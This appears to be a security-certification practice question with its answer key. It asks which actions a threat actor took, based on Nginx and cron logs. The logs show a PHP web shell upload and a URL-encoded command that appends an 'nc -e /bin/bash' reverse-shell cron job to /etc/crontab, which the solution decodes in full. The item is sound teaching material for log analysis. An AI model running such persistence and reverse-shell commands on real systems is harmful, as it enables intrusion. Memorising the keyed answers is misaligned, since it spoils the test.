Examkin

Soru

Zorluk: OrtaLog Analysis and SIEM Management

A security operations analyst is investigating correlated SIEM log entries recorded from a Linux-based web server. The log management repository captured the following chronological event logs:

[Nginx Web Access Log]
192.168.10.45 - - [27/Jul/2026:11:14:02 +0000] "POST /uploads/avatar.php HTTP/1.1" 200 4522
192.168.10.45 - - [27/Jul/2026:11:14:15 +0000] "GET /uploads/avatar.php?cmd=whoami HTTP/1.1" 200 34
192.168.10.45 - - [27/Jul/2026:11:14:28 +0000] "GET /uploads/avatar.php?cmd=echo+%22%2A%2F5+%2A+%2A+%2A+%2A+root+nc+-e+%2Fbin%2Fbash+192.168.10.45+4444%22+%3E%3E+%2Fetc%2Fcrontab HTTP/1.1" 200 12

[Syslog / Cron Execution Log]
Jul 27 11:15:01 webserver CRON[4821]: (root) CMD (nc -e /bin/bash 192.168.10.45 4444)

Based on the log data, which of the following statements accurately describe the actions performed by the threat actor? (Select TWO.)

  1. The adversary leveraged a web shell payload uploaded to the web server directory to execute arbitrary system commands.Cevap
  2. The adversary established system persistence by appending a malicious scheduled task (cron job) that initiates an outbound reverse shell.Cevap
  3. C
    The attack represents a Cross-Site Scripting (XSS) exploit targeting client-side browser session state.
  4. D
    The incident indicates a database SQL injection flaw where backend database tables were compromised via unvalidated authentication parameters.

Cevap

The attack involved utilizing an uploaded web shell to run operating system commands and appending a malicious job to /etc/crontab to establish persistence via an outbound reverse shell.
The correlated logs demonstrate two critical adversary actions: first, the adversary used an uploaded PHP script as a web shell to execute shell commands remotely over HTTP. Second, the adversary wrote a recurring job to /etc/crontab to spawn a reverse shell connection via Netcat, establishing persistent control over the host server.

Adım Adım Çözüm

1
Analyze the Nginx web access log entries
Identified POST request uploading 'avatar.php' followed by GET requests passing OS commands inside the 'cmd' query parameter (e.g., 'whoami').
This behavior demonstrates remote command execution via a deployed web shell script.
2
Inspect the URL-encoded command payload
Decoded `%2A%2F5` as `*/5` and `%3E%3E+%2Fetc%2Fcrontab` as `>> /etc/crontab`, which writes a cron schedule calling Netcat (`nc -e /bin/bash`).
Writing scheduled tasks to configuration files is a standard method for maintaining persistent access across system reboots or log clearances.
3
Correlate Nginx web events with Linux syslog entries
Syslog entry at 11:15:01 confirms CRON executed `nc -e /bin/bash 192.168.10.45 4444` as the root user.
Correlating timestamped logs across different service subsystems validates that the malicious cron job successfully triggered an outbound reverse connection.

Anahtar Kavram

Log Correlation and Web Shell/Persistence Detection
Bu soruyu puanla

Konular

Log Analysis and SIEM Management

Bu konudan daha fazla soru